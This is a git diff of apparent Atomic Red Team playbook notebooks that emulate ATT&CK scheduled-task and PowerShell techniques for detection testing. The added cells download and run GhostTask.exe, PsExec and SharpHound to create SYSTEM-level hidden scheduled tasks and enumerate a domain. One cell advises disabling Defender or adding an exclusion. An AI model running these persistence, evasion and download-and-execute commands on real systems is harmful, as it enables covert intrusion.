"#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"atomic red team\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3696605f", + "id": "8af17553", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "bbfef9f0", + "id": "d80a393b", "metadata": {}, "source": [ "### Atomic Test #9 - PowerShell Modify A Scheduled Task", @@ -337,28 +337,73 @@ { "cell_type": "code", "execution_count": null, - "id": "b91151f0", + "id": "7ba3e031", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "635d90c2", + "id": "d52c8ebc", "metadata": {}, "source": "#### Cleanup: \n```powershell\nUnregister-ScheduledTask -TaskName \"AtomicTaskModifed\" -confirm:$false >$null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "220caac9", + "id": "f1f83e3e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.005 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "8efd5df3", + "id": "3f0f1943", + "metadata": {}, + "source": "### Atomic Test #10 - Scheduled Task (\"Ghost Task\") via Registry Key Manipulation\nCreate a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means.\nThis requires a download of the GhostTask binary, which must be run as NT Authority\\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command.\nFor further exploration of this procedure and guidance for hunting and detection, see [Hunting G-G-G-GhostTasks!](https://medium.com/p/154b50ab6a78).\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -Force\n\n```\n##### Description: GhostTask.exe tool from netero101 must exist in the ExternalPayloads directory. This tool may be quarantined by windows defender; disable windows defender real-time protection to fix it or add the ExternalPayloads directory as an exclusion, using a command like `Add-MpPreference -ExclusionPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"`\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cba39af9", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.005 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "aa5199d9", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" \\\\localhost -accepteula -s \"cmd.exe\"\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\" \\\\localhost add lilghostie \"cmd.exe\" \"/c notepad.exe\" $env:USERDOMAIN + '\\' + $env:USERNAME logon\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "537d28cf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.005 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "19ac2722", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" \\\\localhost -accepteula -s \"cmd.exe\"\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\" \\\\localhost delete lilghostie > nul```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cd744baf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1053.005 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "45dadaeb", "metadata": {}, "source": "## Detection\nMonitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data." } @@ -366,13 +411,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1053.006.ipynb b/playbook/tactics/execution/T1053.006.ipynb index 237f6b27..7302a66c 100644 --- a/playbook/tactics/execution/T1053.006.ipynb +++ b/playbook/tactics/execution/T1053.006.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "42fe6d11", + "id": "94110e8a", "metadata": {}, - "source": "# T1053.006 - Systemd Timers\nAdversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence." + "source": "# T1053.006 - Systemd Timers\nAdversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)" }, { "cell_type": "markdown", - "id": "6254ec16", + "id": "32a46bec", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b0307031", + "id": "aa65b810", "metadata": {}, "source": [ "### Atomic Test #1 - Create Systemd Service and Timer", @@ -27,42 +27,42 @@ { "cell_type": "code", "execution_count": null, - "id": "7fd5a1bd", + "id": "4f00b998", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3b14fd68", + "id": "701705af", "metadata": {}, "source": "#### Cleanup: \n```bash\nsystemctl stop art-timer.timer\nsystemctl disable art-timer.timer\nrm /etc/systemd/system/art-timer.service\nrm /etc/systemd/system/art-timer.timer\nsystemctl daemon-reload\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5c7e20cb", + "id": "26a8ac6e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "5613cdae", + "id": "28ee7ab3", "metadata": {}, "source": "### Atomic Test #2 - Create a user level transient systemd service and timer\nSchedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if systemd-run exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v systemd-run)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Install systemd on the machine.\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "50770a64", + "id": "b376ae2d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9b21964a", + "id": "3b04b967", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -72,42 +72,42 @@ { "cell_type": "code", "execution_count": null, - "id": "8b545757", + "id": "15833443", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "38bf5449", + "id": "84a3c4bd", "metadata": {}, "source": "#### Cleanup: \n```sh\nsystemctl --user stop Atomic-Red-Team.service\nsystemctl --user stop Atomic-Red-Team.timer\nrm /tmp/log\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6b5fe51d", + "id": "7bf9bf9f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "9fc1422f", + "id": "10d61e10", "metadata": {}, "source": "### Atomic Test #3 - Create a system level transient systemd service and timer\nSchedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if systemd-run exists on the machine\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v systemd-run)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Install systemd on the machine.\"; exit 1;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a2e41cb9", + "id": "ae74b062", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "102b0271", + "id": "210fda57", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -117,28 +117,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6d7fd393", + "id": "da82fdc8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "421a11d5", + "id": "56bda628", "metadata": {}, "source": "#### Cleanup: \n```sh\nsystemctl stop Atomic-Red-Team.service\nsystemctl stop Atomic-Red-Team.timer\nrm /tmp/log\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4c659d85", + "id": "32271cab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "820f009a", + "id": "633dd9db", "metadata": {}, "source": "## Detection\nSystemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)" } @@ -146,13 +146,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1053.007.ipynb b/playbook/tactics/execution/T1053.007.ipynb index 84ab8c89..4e22947b 100644 --- a/playbook/tactics/execution/T1053.007.ipynb +++ b/playbook/tactics/execution/T1053.007.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "405507e1", + "id": "85a852f2", "metadata": {}, "source": "# T1053.007 - Container Orchestration Job\nAdversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)" }, { "cell_type": "markdown", - "id": "652670d7", + "id": "f9ff83cf", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ab467752", + "id": "0055ddd4", "metadata": {}, "source": "### Atomic Test #1 - ListCronjobs\nKubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: kubectl must be installed\n\n##### Check Prereq Commands:\n```bash\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```bash\necho \"kubectl must be installed manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9b55345f", + "id": "a23e9735", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5988df51", + "id": "20dd9560", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "7aa4aede", + "id": "87cbf4b2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5bf9993d", + "id": "34ff8c6c", "metadata": {}, "source": "### Atomic Test #2 - CreateCronjob\nKubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: kubectl must be installed\n\n##### Check Prereq Commands:\n```bash\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```bash\necho \"kubectl must be installed manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5a42afa6", + "id": "02e2f128", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f6bf62cd", + "id": "1a91f2f5", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -69,28 +69,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6e665795", + "id": "41a927dc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b8a734d8", + "id": "2fe10cff", "metadata": {}, "source": "#### Cleanup: \n```bash\nkubectl delete cronjob art -n default\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2469cf66", + "id": "29c3d42d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1053.007 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "94e78720", + "id": "b59e2a50", "metadata": {}, "source": "## Detection\nMonitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. " } @@ -98,13 +98,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1053.ipynb b/playbook/tactics/execution/T1053.ipynb index 2721188c..bd658b3c 100644 --- a/playbook/tactics/execution/T1053.ipynb +++ b/playbook/tactics/execution/T1053.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "a7ca8b1d", + "id": "36982372", "metadata": {}, "source": "# T1053 - Scheduled Task/Job\nAdversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)" }, { "cell_type": "markdown", - "id": "250ac227", + "id": "eb83200a", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "9522c213", + "id": "829e20e1", "metadata": {}, "source": "## Detection\nMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement." }, { "cell_type": "markdown", - "id": "82906952", + "id": "c97d803c", "metadata": {}, "source": "\n## Shield Active Defense\n### Admin Access \n Modify a user's administrative privileges.\n \n\n Changing the target system to allow or disallow users to perform tasks requiring administrator level permissions gives the defender leverage in inhibiting or facilitating attacks. The procedures for changing these permissions vary across different operating and software systems.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can enable Admin Access on a system to see if the adversary utilizes that access to create scheduled tasks to launch their malware or tools.\n#### Procedures\nRemove an account's administrative access from a system or service to require an adversary to reveal techniques for elevating privileges in order to accomplish certain tasks.\nGrant an account administrative access to a system or service to enable an adversary to take advantage of those privileges if they compromise the system or service.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1059.001.ipynb b/playbook/tactics/execution/T1059.001.ipynb index 2b11279c..42f5e8c1 100644 --- a/playbook/tactics/execution/T1059.001.ipynb +++ b/playbook/tactics/execution/T1059.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0aa2943e", + "id": "854f3a96", "metadata": {}, "source": "# T1059.001 - PowerShell\nAdversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)" }, { "cell_type": "markdown", - "id": "c9dcebee", + "id": "530afcf1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "08735e98", + "id": "e20646a6", "metadata": {}, "source": [ "### Atomic Test #1 - Mimikatz", @@ -28,59 +28,59 @@ { "cell_type": "code", "execution_count": null, - "id": "56040149", + "id": "a956936f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8aa867df", + "id": "3f5f908b", "metadata": {}, - "source": "### Atomic Test #2 - Run BloodHound from local disk\nUpon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.\n\nSuccessful execution will produce stdout message stating \"SharpHound Enumeration Completed\". Upon completion, final output will be a *BloodHound.zip file.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: SharpHound.ps1 must be located at #{file_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1059.001\\src\\SharpHound.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1\" -OutFile \"PathToAtomicsFolder\\T1059.001\\src\\SharpHound.ps1\"\n\n```" + "source": "### Atomic Test #2 - Run BloodHound from local disk\nUpon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.\n\nSuccessful execution will produce stdout message stating \"SharpHound Enumeration Completed\". Upon completion, final output will be a *BloodHound.zip file.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: SharpHound.ps1 must be located at \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpHound.ps1\"\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpHound.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpHound.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f27793b5", + "id": "60791c80", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6d90c4ef", + "id": "9306e814", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nwrite-host \"Import and Execution of SharpHound.ps1 from PathToAtomicsFolder\\T1059.001\\src\" -ForegroundColor Cyan\nimport-module PathToAtomicsFolder\\T1059.001\\src\\SharpHound.ps1\nInvoke-BloodHound -OutputDirectory $env:Temp\nStart-Sleep 5\n```" + "```powershell\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\SharpHound.ps1\"\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\ncatch { $_; exit $_.Exception.HResult}\nStart-Sleep 5\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "50307f68", + "id": "e54f4b71", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d77c8ef4", + "id": "a9a01181", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:Temp\\*BloodHound.zip -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b8c79bd7", + "id": "4995c5f2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "03bfe967", + "id": "b42a9757", "metadata": {}, "source": [ "### Atomic Test #3 - Run Bloodhound from Memory using Download Cradle", @@ -93,28 +93,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a7a61f3e", + "id": "74831014", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "1fdb34ff", + "id": "4cb878da", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:Temp\\*BloodHound.zip -Force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2c52ecc7", + "id": "5d0efbce", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "1a3a8221", + "id": "94b96663", "metadata": {}, "source": [ "### Atomic Test #4 - Obfuscation Tests", @@ -127,14 +127,14 @@ { "cell_type": "code", "execution_count": null, - "id": "f8a0885a", + "id": "8f832605", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "0266cfc9", + "id": "22861e05", "metadata": {}, "source": [ "### Atomic Test #5 - Mimikatz - Cradlecraft PsSendKeys", @@ -148,14 +148,14 @@ { "cell_type": "code", "execution_count": null, - "id": "7a547f5b", + "id": "a2bb67a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "fa4cb02e", + "id": "7b9804e9", "metadata": {}, "source": [ "### Atomic Test #6 - Invoke-AppPathBypass", @@ -168,14 +168,14 @@ { "cell_type": "code", "execution_count": null, - "id": "c3943104", + "id": "439bbac5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "1c3399d3", + "id": "b552beb4", "metadata": {}, "source": [ "### Atomic Test #7 - Powershell MsXml COM object - with prompt", @@ -188,14 +188,14 @@ { "cell_type": "code", "execution_count": null, - "id": "10656cf5", + "id": "dfdc62ac", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "0062dafb", + "id": "b5578364", "metadata": {}, "source": [ "### Atomic Test #8 - 